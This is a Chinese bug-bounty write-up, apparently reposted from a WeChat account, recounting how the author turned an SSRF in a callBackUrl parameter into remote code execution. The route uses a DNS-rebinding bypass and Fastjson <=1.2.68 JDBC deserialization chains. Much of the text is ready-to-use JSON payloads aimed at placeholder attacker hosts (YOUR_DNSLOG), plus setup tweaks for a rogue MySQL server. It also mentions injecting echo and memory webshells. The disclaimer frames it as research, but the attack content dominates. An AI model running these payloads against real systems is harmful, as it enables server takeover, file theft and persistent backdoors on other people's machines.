从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

admin 2025年5月26日09:13:38评论28 views字数 6505阅读21分41秒阅读模式

0x01 前言

在某次众测过程中使用搜索引擎找到某单位部署的旁站,通过前端JS信息分析找到一处ssrf漏洞。在ssrf测试时根据提示信息得到服务端接收的数据格式为json格式,再通过构造json报错语句时服务端报错回显了fastjson版本号为1.2.58,然后寻找Fastjson 1.2.58利用链,最后RCE。很幸运利用的过程中都如预期所料没出现坑点。

参考文章:https://xz.aliyun.com/news/17489

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料文件 #渗透安全HackTwo

0x02 漏洞详情

在渗透过程中,如果遇到一些部署了很久的老站点(比如zf、edu),利用搜索引擎和网站时光机(web.archive.org)可以发现大量历史资产。下面以百度为例,使用过程中感觉必应搜集到的信息比谷歌要多

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

这个过程中我使用必应找到了xx系统,然后对js进行分析,找到了xxx/checkTokenByUrl接口,由于是键值对的形式,直接搜索键值xxx_CANENTER就能找到对应的参数。(漏洞修复在前端将这些接口都删了没图~~哈哈)

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

SSRF漏洞

然后就找到了这三个参数,构造请求,根据参数名可以发现callBackUrl应该是接受一个url地址,将url指向个人VPS地址,接收到了请求。

orgId=&accessToken=&callBackUrl=

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

到此基本可以判断此处存在SSRF了,再将url地址指向一个内网IP,根据响应时间判断通内网

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

根据响应包报错提示可以发现,服务端远程获取数据时,返回的数据不是map类型,也就是json。然后在VPS中,控制返回数据为json,服务端响应token失效

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

既然这里解析json那么就测试一下是使用jackson还是fastjson

{"@type": "java.lang.AutoCloseable"

{"ax63aa":"00"}报错为jackson,反之fastjson

这里使用

{"@type": "java.lang.AutoCloseable"

服务端直接报错返回fastjson版本(补图)

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

fastjson<=1.2.68一般使用JDBC相关利用链,但是这里我没有进行利用,直接提交报告。我赌他肯定不会完完全全修复的,果然等了几天后漏洞确认并进行了修复,但是没有完全修复。hahahaha~~

梅开二度

上面提到,漏洞被修复了,然后我就查看它是如何进行修复的,经过一番测试发现,传入的url地址不能为ip地址,从传入域名没有进行限制。

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

这要怎么利用呢?可以使用DNS重绑定绕过限制,众所周知DNS协议的作用是域名到IP的过程,如果将域名指定为一个内网IP就能就能绕过限制。http://dnslog.pw/就有这个功能

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

这里可以自己申请一个域名或者使用DNS重绑定的IP指向自己的VPS(国内VPS要备案)

那么接下来就进行fantjson反序列化测试了。

Fastjson <= 1.2.68反序列化RCE探索

对于fastjson <= 1.2.68版本,目前常用的利用链是JDBC文件读取、JDBC反序列化、文件写入还有文件读取等,不过较通用的是JDBC文件读取、JDBC反序列化

fastjson依赖库判断

在进行JDBC利用链探测时,首先要判断mysql-connector-java版本是多少,我这里直接使用对于的poc

来自这篇文章:

https://mp.weixin.qq.com/s/I0OdFPnRH_r1yZ04tOB-cw

fastjson<=1.2.68 mysql-connector-java-5.1.1-5.1.49可SSRF 5.1.11至5.1.48可反序列化 

{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo""YOUR_DNSLOG",  "portToConnectTo"3306,  "info": {    "user""yso_xxx",    "password""pass",    "statementInterceptors""com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize""true",    "NUM_HOSTS""1"  },  "databaseToConnectTo""dbname",  "url"""}

fastjson<=1.2.68 mysql-connector-java-6.0.2-6.0.3可反序列化

{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",  "proxy": {    "connectionString": {      "url""jdbc:mysql://YOUR_DNSLOG:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_xxx_calc"    }  }}

fastjson<=1.2.68 mysql-connector-java-8.0.19可反序列化,>8.0.19可SSRF

{    "@type""java.lang.AutoCloseable",    "@type""com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",    "proxy": {        "@type""com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",        "connectionUrl": {            "@type""com.mysql.cj.conf.url.ReplicationConnectionUrl",            "masters": [{                "host"""            }],            "slaves": [],            "properties": {                "host""YOUR DNSLOG",                "user""yso_xxx_calc",                "dbname""dbname",                "password""pass",                "queryInterceptors""com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",                "autoDeserialize""true"            }        }    }}

另一种写法

{"@type""java.lang.AutoCloseable","@type""com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",  "proxy": {    "@type""com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",    "connectionUrl": {      "@type""com.mysql.cj.conf.url.ReplicationConnectionUrl",      "masters": [        {          "host"""        }      ],      "properties": {        "allowUrlInlocalInfile""true",        "allowLoadLocalInfile""true",        "autoDeserialize""true",        "dbname""dbname",        "host""YOUR_DNSLOG",        "password""pass",        "port""7777",        "queryInterceptors""com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",        "user""win_ini"      },      "slaves": []    }  }}

反序列化利用

在上面探测中,这个payload成功触发dnslog

{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo""YOUR_DNSLOG",  "portToConnectTo"3306,  "info": {    "user""yso_xxx",    "password""pass",    "statementInterceptors""com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize""true",    "NUM_HOSTS""1"  },  "databaseToConnectTo""dbname",  "url"""}

既然触发了DNSLOG,那么接下来就可以搭建一个利用Mysql服务了,用到了下面这个项目,根据使用说明书进行使用

python<3.8用这个
https://github.com/fnmsd/MySQL_Fake_Server
python3.8+用这个
https://github.com/clown1ay/MySQL_Fake_Server
首先进行文件读取,user指定要读取的文件
{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo""YOUR_DNSLOG",  "portToConnectTo"7777,  "info": {    "user""win_ini",    "password""pass",    "statementInterceptors""com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize""true",    "NUM_HOSTS""1"  },  "databaseToConnectTo""dbname",  "url"""}

本地和目标系统都读取不成功,本地mysql-connector-java为5.1.47

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

转战反序列化,先进行DNSURL利用链探测,反序列化操作是否成功

{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo""YOUR_DNSLOG",  "portToConnectTo"7777,  "info": {    "user""yso_URLDNS_http://YOUR_DNSLOG",    "password""pass",    "statementInterceptors""com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize""true",    "NUM_HOSTS""1"  },  "databaseToConnectTo""dbname",  "url"""}

本地演示

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

既然能正常执行反序列化操作,那么下一步就需要测试命令执行。这里使用到了@Y4tacker大佬给出的利用链

https://paper.seebug.org/2067/
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

代码微调

直接拿文章中给出的代码进行修改,添加这段代码,将反序列化的内容保存到文件中。自定义执行命令

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson1268.bin"));oos.writeObject(hashMap);oos.close();
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

还要修改MySQL_Fake_Server项目server.py文件,get_yso_content函数的内容,让其从指定文件中读取

with open(r'fastjson1268.bin','rb'as f:    file_content = f.read()return file_content
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

将生成的fastjson1268.bin放到server.py文件同级目录中,运行server.py文件

user填入yso_xxx就能触发server.py的get_yso_content函数,此时fastjson测试payload为

{  "@type""java.lang.AutoCloseable",  "@type""com.mysql.jdbc.JDBC4Connection",  "hostToConnectTo""YOUR_DNSLOG",  "portToConnectTo"7777,  "info": {    "user""yso_URLDNS_http://YOUR_DNSLOG",    "password""pass",    "statementInterceptors""com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",    "autoDeserialize""true",    "NUM_HOSTS""1"  },  "databaseToConnectTo""dbname",  "url"""}

很幸运系统成功触发了命令执行ping xx.dnslog.com

到此就完成了RCE,证明漏洞危害,提交报告。

反序列化改造

查看Y4大佬给出的利用链可以发现,其使用的是TemplatesImpl进行动态加载字节码,那么直接将字节码改为回显马和内存马也是可以的,我将回显马编译为class文件,然后读取该文件,传入到_bytecodes中

从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧
从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

0x03 总结

通过必应搜索发现目标旁站,利用前端JS分析找到 /xxx/checkTokenByUrl 接口的 SSRF 漏洞。测试中确认服务端使用 Fastjson 1.2.58 解析 JSON,报错暴露版本信息。结合 DNS 重绑定绕过修复限制,使用 Fastjson <= 1.2.68 的 JDBC 反序列化利用链,通过 MySQL_Fake_Server 实现文件读取和 RCE,最终触发命令执行(ping DNSLOG)。信息收集是 Web 该漏洞的关键,资产发现与漏洞挖掘相辅相成,成功利用需深度分析与灵活构造 payload。喜欢的师傅可以点赞转发支持一下谢谢!
0x04

原文始发于微信公众号(渗透安全HackTwo):从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日09:13:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 SSRF 到 RCE:一次众测Fastjson<=1.2.68反序列化RCE过程|挖洞技巧https://cn-sec.com/archives/4097566.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息